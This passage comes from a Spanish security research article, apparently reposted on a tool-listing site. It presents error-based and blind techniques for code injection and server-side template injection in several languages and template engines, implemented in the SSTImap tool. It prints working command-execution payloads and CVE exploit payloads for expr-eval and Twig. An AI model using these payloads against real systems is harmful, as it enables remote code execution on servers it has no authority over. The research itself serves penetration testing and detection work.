Estos payloads también funcionarían para otros lenguajes de expresión similares. Para asegurarnos de que tenemos una inyección de SpEL, podemos reemplazarlos con payloads específicos de SpEL: T(java.lang.Integer).valueOf('1') y T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

SpEL error

Los payloads para expresiones OGNL son similares a los payloads de SpEL. Usé los mismos pares de payloads usando sumas de enteros así como el mismo oráculo: 1/((…)?1:0)+""

La sintaxis de OGNL se puede confirmar reemplazando 1 por @java.lang.Integer@valueOf('1')

De manera similar a SpEL, se puede obtener el código de retorno de comandos del sistema operativo usando waitFor():```java @java.lang.Runtime@getRuntime().exec("…").waitFor()==0

root@kitploit:~
También vale la pena mencionar que **OGNL** tiene una forma inusual de convertir tipos implícitamente.
Además del orden de las operaciones, los valores previamente calculados también afectan las conversiones.
Mientras que un payload como `1 * (123 + 456) + "abc" + 1 * (123 + 456)` obtendrá el resultado esperado de `"579abc579"`, un payload similar `(123 + 456) + "abc" + (123 + 456)` comenzará a convertir enteros a cadenas, devolviendo `"579abc123456"`

![OGNL error](https://assets.kitploit.com/production/public/readmes/10936/829054aaeaae0f907897da75c55fa91efe0ae24ee029416675d3812e29a2bc8f.png)

El payload principal para **Freemarker** ya fue creado por Nicolas Verdier [^10]:```java
${1/((…)?string('1','0')?eval)}

Pares de payloads simples se utilizaron para la detección, ya que el motor de plantillas ya está confirmado por la sintaxis del payload principal:

  • 1.0 == 1.0 and 1.0 == 0.1
  • 2 > 1 and 1 > 2

Para verificar los resultados de la ejecución de comandos del sistema operativo, decidí utilizar una técnica previamente usada para Twig:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

root@kitploit:~
![Freemarker error](https://assets.kitploit.com/production/public/readmes/10936/7f9f4c5cbe3be9e222573b081dea6baccb809725ba890899f76741fe4b820f08.png)

Para el motor de plantillas Velocity podemos usar las directivas `#if` y `#include`:

- `#if(false)#include("Y:/A:/true")#end` y `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` y `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`

Para verificar la ejecución de comandos del sistema operativo, podríamos modificar un payload regular para la inyección renderizada:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

Error de Velocity

Ruby

En Ruby, no hay una forma directa de convertir valores de entero a booleano. Esto hace que el payload se vuelva un poco más complejo: 1/(!!( ... )&&1||0)

Estos pares de payloads podrían usarse para confirmar la inyección de Ruby:

  • (2 + 3).to_s == '5' y (2 + 5).to_s == '3'
  • '2'.length == 1 y '1'.length == 2

Los resultados de la evaluación de código podrían verificarse usando !!eval( ... ), mientras que el éxito de los comandos del sistema ejecutados podría verificarse usando system( … ), el cual no se usa para inyecciones renderizadas, ya que no devuelve la salida en sí misma.

NodeJS

En NodeJS, la división por cero no produce un error, por lo que el payload usa en su lugar el acceso a atributos de undefined o del elemento existente de una lista: [""][0 + !( … )]["length"]

Estos dos pares se usan para confirmar NodeJS como el lenguaje inyectado:

  • typeof(1) + 2 == "number2" y typeof(2) + 1 == "number2"
  • parseInt("5x") == 5 y parseInt("x5") == 5

La evaluación de código podría verificarse directamente usando eval(), y el código de retorno de los comandos del sistema ejecutados podría verificarse en NodeJS versión 5.7 y superiores usando este payload:```node require('child_process').spawnSync( … , options={shell:true}).status===0

root@kitploit:~
### Elixir
**Elixir** permite usar la división por cero como un oráculo, pero requiere conversión explícita a entero.
Como resultado, podemos usar el payload: `1/(( … )&&1||0)`

Podemos verificar la sintaxis de **Elixir** usando estos pares de payloads:

- `String.length("2") == 1` and `String.length("1") == 2`
- `is_boolean(false) == true` and `is_boolean(true) == false`

Verificar los resultados de la evaluación de código `eval()` y comparar el código de retorno de comandos del SO se puede hacer directamente usando estos payloads: `elem(Code.eval_string( … ), 0)` y `elem(System.shell( … ), 1) == 0`

### Generic Detection
Todos los lenguajes de programación tienen sus propios nombres de funciones, por lo que es imposible encontrar una función que funcione para la detección genérica.
A pesar de eso, casi todos los lenguajes usan exactamente la misma sintaxis para operaciones matemáticas básicas.
Esto nos permite usar errores de sintaxis para la detección genérica:

- `(3*4/2)` and `3*)2(/4`
- `((7*8)/(2*4))` and `7)(*)8)(2/(*4`

Este método de detección genérica para Inyección de Código y SSTI podría automatizarse sin la necesidad de agregar soporte por separado para todos los lenguajes de programación y motores de plantillas, lo que extiende las posibilidades de detección rápida de Inyección de Código y SSTI utilizando un enfoque de caja negra.

![EEx injection detected by SSTImap using generic detection payload](https://assets.kitploit.com/production/public/readmes/10936/afb92860458978f4b8b74ec62dade318c4777f4833fa4896d3251476e41ffe46.png)

### Payload Development
Para crear payloads después de detectar una inyección ciega, podríamos verificar errores comunes de división por cero o acceso a elementos no presentes en listas o diccionarios.
Adicionalmente, para motores de plantillas conocidos podemos usar sentencias `if` para desencadenar errores arbitrarios de forma condicional.

Para la detección automatizada, se podrían crear pares de payloads usando nombres de funciones únicos, características de sintaxis o conversiones de tipo implícitas.

Para convertir valores al tipo deseado, podemos usar funciones de conversión específicas o utilizando una operación típica para el tipo deseado (sumar 0 para números, concatenar cadena vacía para cadenas, usar lógica y con `true` para booleano, etc.). Adicionalmente, los valores podrían convertirse a booleano usando doble negación, y luego a entero usando condiciones como el operador ternario.

Para verificar el éxito de la ejecución de comandos del SO, podemos comparar el código de salida con cero o verificar que la salida termina en una cadena que proporcionamos.

## Practical Application
Todas las técnicas y payloads desarrollados durante esta investigación fueron añadidos a la herramienta de código abierto SSTImap para aplicación práctica.
Además, apliqué esas técnicas a mis propias tareas, lo que me permitió obtener el resultado en la mayoría de los casos que actuaron como pistas para esta investigación.

Entre esos casos hay ejemplos de prueba de aplicaciones web reales, así como payloads que extienden las capacidades de explotación de vulnerabilidades conocidas.

### expr-eval (CVE-2025-13204)
El primer ejemplo de aplicación de nuevas técnicas a un objetivo del mundo real fue la vulnerabilidad de Inyección de Código en un popular constructor de bots para Discord.
Una de las etiquetas en el motor de plantillas permitía la evaluación de expresiones matemáticas usando un módulo vulnerable de NodeJS llamado **expr-eval**, pero el resultado se convertía a entero, lo que inicialmente me impidió acceder al resultado del código inyectado.

Modifiqué el payload conocido para acceder al constructor de funciones sin romper la sintaxis del motor de plantillas utilizado para desencadenar la funcionalidad vulnerable.
Después de eso, apliqué la técnica basada en errores y usé `require()` para desencadenar un error que contenía los resultados de la ejecución de código:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

expr-eval error que contiene los resultados

En este caso, la técnica basada en errores me permitió obtener resultados de una inyección de código ciega en una aplicación real que estaba probando en ese momento.

La carga útil para la explotación de inyección de código en el módulo expr-eval para NodeJS se agregó como un módulo adicional para SSTImap, que se puede instalar adicionalmente. Este módulo contiene cargas útiles para las cuatro técnicas de explotación de inyección de código compatibles con SSTImap.

JSONPath Plus (CVE-2025-1302)

Otro ejemplo de la aplicación práctica de las nuevas técnicas es la capacidad de explotar CVE-2025-1302 sin las limitaciones causadas por el contexto de inyección. Las cargas útiles anteriores para la inyección renderizada establecían atributos del objeto raíz, pero este enfoque impedía la explotación renderizada en muchos contextos de inyección y requería adivinar los demás.

Gracias a las técnicas basadas en errores, fue posible obtener resultados en todos los contextos en caso de que la salida de errores fuera detallada. El uso de la técnica ciega basada en errores booleanos permitió una explotación más efectiva de las inyecciones ciegas y abrió las posibilidades para una exfiltración rápida de datos.

Twig (CVE-2022-23614)

Las versiones vulnerables del motor de plantillas Twig permiten el escape del sandbox al pasar una cadena que contiene el nombre de una función de PHP como parámetro al filtro |sort. Este filtro convierte la salida de la función a un número que determina el nuevo orden de dos elementos en el array.

En PHP, la función system() solo devuelve la primera cadena de la salida, pero es suficiente para afectar el número resultante y el orden de los elementos del array, mostrando si nuestro comando del sistema operativo se ejecutó con éxito. Podemos comparar el primer elemento con el valor esperado para determinar si los elementos intercambiaron posiciones y entender qué número produjo nuestro comando. Como resultado, obtenemos esta carga útil:```php {% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} {{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

root@kitploit:~
Esta vez, Boolean Error-Based Blind amplía las capacidades de omisión de sandbox ciego en el motor de plantillas **Twig**, permitiendo potencialmente la extracción bit a bit de la salida.

También podemos notar que funciones de PHP como `system()` y `passthru()` muestran los resultados directamente en la página, lo que nos permite interceptarlos usando `ob_start()`.

Como segundo argumento, `ob_start()` acepta el nombre de la función que sería llamada con nuestra salida como argumento.
Esto nos permite usar `call_user_func()` para la exfiltración de salida Error-Based.

Para llamar a nuestra función y desencadenar un error, necesitamos desencadenar `ob_end_flush()` sin argumentos.
Para hacer eso, podemos usar `call_user_func_array()` con un array vacío.
Nuestro payload final:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}

Dust.JS

Adicionalmente, me gustaría mencionar payloads para el motor de plantillas Dust.JS. Las técnicas de Blind basadas en errores y errores booleanos con payloads basados en payloads de inyección de código para NodeJS permiten una explotación más efectiva de SSTI ciego, así como obtener los resultados cuando la salida de errores verbosa está presente en el sitio web objetivo.

Después de eso, decidí investigar la posibilidad de obtener resultados durante la inyección renderizada añadiendo una variable al contexto de la plantilla. Inicialmente, intenté usar Prototype Pollution, pero causó errores durante la generación de código dinámico, por lo que tuve que encontrar el objeto de contexto para inyectar la nueva variable. Para hacerlo, apliqué la técnica basada en errores y examiné las variables globales.

Encontré una variable llamada context, que tenía un atributo llamado global que contenía variables pasadas a la plantilla. Añadir un nuevo atributo a context.global me permitió obtener el resultado:```node {@if cond="context.global.sstimap='test'"}{/if}{sstimap}

root@kitploit:~
Este ejemplo muestra la posibilidad de utilizar la técnica basada en errores para examinar el contexto de inyección mientras se desarrollan los payloads utilizando el enfoque de caja negra.

## Conclusiones
Como parte de esta investigación, se desarrollaron dos nuevas técnicas para la inyección de código y SSTI.
El uso de la técnica **Error-Based** permite acceder a los resultados de la inyección ciega si se muestran mensajes de error verbosos al usuario.
La técnica **Boolean Error-Based Blind** acelera enormemente la explotación de inyecciones ciegas, ya que elimina los retrasos comúnmente utilizados con la técnica **Time-Based Blind**.

Se crearon payloads para ambas nuevas técnicas que permiten la explotación de inyección de código y SSTI en seis lenguajes de programación.

Además, se introdujeron payloads sensibles al contexto para la detección genérica de inyección de código y SSTI, lo que permitió la detección automatizada de inyecciones ciegas sin necesidad de probar todos los lenguajes posibles, algo que antes se consideraba imposible.

Las técnicas demostradas prueban la importancia de documentar todas las técnicas de explotación conocidas, incluso para vulnerabilidades aparentemente obvias.
Un enfoque similar se ha utilizado durante mucho tiempo en las técnicas de inyección SQL, pero durante 10 años desde el descubrimiento de SSTI no hubo menciones de la técnica **Error-Based** ni payloads documentados.
La inyección de código en sí misma apenas tiene documentación, lo que impidió el descubrimiento de nuevas técnicas fundamentales.

Esta investigación demostró el potencial de descubrir nuevas técnicas incluso para vulnerabilidades bien conocidas.
Para un desarrollo de técnicas más efectivo, se debería crear un repositorio de conocimiento que contenga técnicas y trucos para investigadores, lo que permitiría documentar el conocimiento sobre el desarrollo de payloads y características inusuales de diferentes sistemas, incluso si ese conocimiento no tiene un uso directo para la explotación del sistema.

Para concluir, me gustaría mencionar direcciones prometedoras para futuras investigaciones.
Una mejora importante para las técnicas **Boolean Error-Based Blind** y **Time-Based Blind** serían los payloads para la exfiltración bit a bit de la salida, de manera similar a las técnicas correspondientes para inyección SQL.
Además, investigar las posibilidades de las pruebas **OAST** y la aplicación de la técnica **Time-Based Blind** utilizando las características de los motores de plantillas eliminaría la dependencia de estas técnicas del sistema operativo y los binarios disponibles en el servidor objetivo.

## Referencias
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
Descargar herramienta